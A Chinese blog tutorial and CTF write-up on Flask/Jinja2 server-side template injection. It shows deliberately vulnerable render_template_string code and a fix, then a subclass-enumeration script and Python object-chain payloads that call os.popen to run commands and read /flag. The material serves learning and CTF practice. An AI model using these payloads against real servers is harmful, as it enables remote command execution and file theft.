flask之ssti模版注入学习

在昨天做BJD那个“萌新“赛的时候,第一道题便是这个模板注入。由于以前没有遇到过,所以今天准备简单的了解一下

ssti漏洞成因

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

模板引擎

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

什么是服务端模板注入

通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,cyzCc。这个时候cyzCc可能就是通过你的身份信息而渲染成html返回到页面。

Flask

简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask简单示例

使用python安装完flask模块后,运行下面代码,然后访问127.0.0.1:5000,便可以看到有hello world的页面。

1
2
3
4
5
6
7
8
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"

if __name__ == "__main__":
app.run()


第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://127.0.0.1:5000时,使用hello函数进行处理响应

路由

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word

渲染方法

flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下

1
return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下

1
2
html = '<h1>This is index page</h1>'
return render_template_string(html)

模板

flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下(这个是指的python根目录下,不是www)新建templates文件夹,这里是用来存放html文件。也就是模板文件

1
2
3
4
5
6
7
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def user_login():
return render_template('index.html')
if __name__ == "__main__":
app.run()

/templates/index.html

1
<h1>This is index page</h1>

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参
例:

1
2
3
4
5
6
7
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
if __name__ == "__main__":
app.run()
1
2
/templates/index.html中写入
<h1>{{content}}</h1>

这个时候页面仍然输出This is index page。

<!–19–>在Jinja2中作为变量包裹标识符。

模板注入

不正确的使用flask中的render_template_string方法会引发SST

xss利用

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
if __name__ == "__main__":
app.run()

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码

若将代码改为

1
2
3
4
5
6
7
8
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
if __name__ == "__main__":
app.run()

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

模板注入并不局限于xss,它还可以进行其他攻击。

SSTI文件读取/命令执行

在Jinja2模板引擎中,<!–20–>是变量包裹标识符。<!–21–>并不仅仅可以传递变量,还可以执行一些简单的表达式。

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
if __name__ == "__main__":
app.run()

构造参数8

文件包含

这是通过python的对象的继承来一步步实现文件读取和命令执行的的。
找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法

1
2
3
4
5
6
7
8
__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base____mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

1 、获取字符串的类对象

1
2
>>> ''.__class__
<type 'str'>

2 、寻找基类

1
2
>>> ''.__class__.__mro__
(<type 'str'>, <type 'object'>)

3 、寻找可用引用

1
''.__class__.__mro__[1].__subclasses__()

4 、利用之

1
''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read()

放到模板里
可以看到读取到了文件。

命令执行

我们可以使用脚本来寻找含有os模块

1
2
3
4
for a in range(0,444):
i=' '.__class__.__mro__[1].__subclasses__()[a]
print(a)
print(i)


在第118位,然后构造payload

1
{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}

[BJDCTF 2nd]fake google

打开题目发现是一个谷歌搜索框,随便输入,跳转后查看源码提示ssti
简单测试存在ssti模板注入漏洞

使用脚本判断os模块在第几位

1
2
3
4
5
6
7
8
import requests as req
url="http://b9ee3227-b857-464e-8f7f-6d5ecee85261.node3.buuoj.cn/qaq?name="
for a in range(0,200):
payload="{{' '.__class__.__mro__[1].__subclasses__()["+str(a)+"]}}"
r=req.get(url+payload)
r.encoding="utf-8"
print(a)
print(r.text)


发现在第117位,构造payload读取flag

1
{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

参考链接:https://www.lizenghai.com/archives/5702.html

https://xz.aliyun.com/t/3679

文章作者:CyzCc
最后更新:2020年05月20日 20:05:21
原始链接:https://cyzcc.vip/2020/03/22/flask-ssti/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------